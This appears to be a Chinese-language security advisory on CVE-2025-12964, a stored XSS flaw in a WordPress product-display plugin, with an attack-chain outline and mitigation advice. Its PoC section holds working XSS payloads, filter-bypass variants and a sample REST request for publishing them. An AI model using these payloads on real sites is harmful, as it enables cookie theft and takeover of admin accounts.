IPBUF安全漏洞报告
English
CVE-2025-12964 CVSS 6.4 中危

CVE-2025-12964: Magical Products Display插件存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-12964
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Magical Products Display WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-12964Cross-Site ScriptingMagical Products Display权限提升Web安全WordPress安全

漏洞概述

CVE-2025-12964是WordPress的Magical Products Display插件中的一个存储型跨站脚本(Stored XSS)安全漏洞。该插件是一款广泛应用于WordPress网站的产品展示工具,用于创建和管理产品展示界面。漏洞存在于插件的MPD Pricing Table(小部件)功能中,具体问题出在对用户输入的HTML标签参数(mpdpr_title_tag和mpdpr_subtitle_tag)缺乏充分的输入清理和输出转义处理。攻击者利用此漏洞可以在WordPress网站上注入恶意JavaScript代码。由于该插件的广泛使用,攻击者可能通过社会工程学手段诱导网站管理员访问包含恶意脚本的页面,从而窃取管理员会话cookie、劫持管理员账户,甚至进一步控制整个WordPress网站。漏洞影响所有版本至1.1.29版本,CVSS评分6.4,属于中等严重程度。攻击者需要拥有WordPress网站的Contributor级别或更高权限才能利用此漏洞,这降低了漏洞被利用的风险,但并未完全消除威胁。建议网站管理员立即更新插件到最新版本,并审查所有使用Pricing Table功能的页面。

技术细节

该漏洞的根本原因在于Magical Products Display插件的pricing-table.php文件中对HTML标签参数的处理不当。问题代码位于插件的widgets目录中,具体在处理mpdpr_title_tag和mpdpr_subtitle_tag参数时,插件直接使用用户提供的值作为HTML标签名称,而没有进行适当的输入验证和输出编码。攻击者可以通过构造特殊的输入来绕过基本的安全检查,例如使用事件处理器属性如onerror、onload等嵌入JavaScript代码。当其他用户访问包含恶意代码的页面时,浏览器会解析并执行这些注入的脚本。漏洞的技术细节显示,问题代码在第2149行和第2167行附近直接输出了未经过滤的用户输入。由于WordPress的权限模型中Contributor角色可以创建和编辑文章/页面,攻击者可以利用这一权限在合法内容中嵌入恶意代码。此外,由于是存储型XSS,恶意代码会被永久保存在数据库中,每次页面加载时都会执行。攻击者可以利用此漏洞窃取会话令牌、执行任意操作或重定向用户到恶意网站。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本和Magical Products Display插件版本,确认版本在1.1.29或更低版本范围内
STEP 2
账户获取
攻击者通过钓鱼、凭证填充或其他方式获取目标WordPress网站的Contributor级别或更高权限的用户账户
STEP 3
漏洞利用
攻击者登录WordPress后台,创建或编辑包含Pricing Table小部件的页面/文章,在mpdpr_title_tag或mpdpr_subtitle_tag参数中注入恶意XSS payload
STEP 4
载荷存储
恶意代码被保存到WordPress数据库中,由于是存储型XSS,payload会持久存在于页面内容中
STEP 5
触发执行
当其他用户(尤其是管理员)访问包含恶意代码的页面时,浏览器解析HTML并执行注入的JavaScript代码
STEP 6
恶意行为
成功执行的XSS代码可以窃取用户会话cookie、劫持管理员账户、执行任意操作或重定向用户到恶意网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-12964 PoC - Stored XSS in Magical Products Display Plugin // Target: WordPress with Magical Products Display Plugin <= 1.1.29 // Attack Vector: MPD Pricing Table Widget - mpdpr_title_tag parameter // Authentication required: Contributor-level or higher // This PoC demonstrates the XSS payload injection $xss_payload_title = '<script>alert("XSS - CVE-2025-12964 - mpdpr_title_tag")</script>'; $xss_payload_subtitle = '<img src=x onerror=alert("XSS - CVE-2025-12964 - mpdpr_subtitle_tag")>'; // Alternative payloads that may bypass filters: $advanced_payload_1 = '<svg onload=alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,49,50,57,54,52))>'; $advanced_payload_2 = '<body onload=alert("Stored XSS via Pricing Table")>'; $advanced_payload_3 = '<input autofocus onfocus=alert(1) style="position:fixed;top:0;left:0;width:100%;height:100%" />'; // HTTP Request to inject the payload (requires authenticated Contributor session) /* POST /wp-json/wp/v2/pages HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/json Authorization: Bearer [CONTRIBUTOR_TOKEN] { "title": "Malicious Pricing Table", "content": "<!-- wp:magical-products-display/pricing-table -->\n<div class=\"mpd-pricing-table\">\n<div class=\"mpd-pr-title\" data-title-tag=\"<script>alert(document.cookie)</script>\">\n<div class=\"mpd-pr-subtitle\" data-subtitle-tag=\"<img src=x onerror=eval(atob('YWxlcnQoJ1hTUycp'));>\">\n</div>\n</div>\n</div>\n<!-- /wp:magical-products-display/pricing-table -->", "status": "publish" } */ echo "CVE-2025-12964 Stored XSS PoC\n"; echo "Target: Magical Products Display Plugin <= 1.1.29\n"; echo "Payload Type: HTML Tag Injection via mpdpr_title_tag/mpdpr_subtitle_tag\n"; echo "Required Access: Contributor-level permissions\n"; echo "Impact: Arbitrary JavaScript execution in user browsers\n"; ?>

影响范围

Magical Products Display WordPress插件 <= 1.1.29

防御指南

临时缓解措施
如果无法立即更新插件,可以采取以下临时缓解措施:1) 禁用或删除Pricing Table功能页面;2) 临时撤销所有Contributor权限账户;3) 使用WordPress安全插件启用额外的XSS防护规则;4) 手动检查并清理已发布内容中的恶意代码;5) 实施严格的CSP策略限制脚本执行;6) 监控网站访问日志,及时发现异常请求模式。建议在可行时尽快升级到插件最新版本以彻底修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表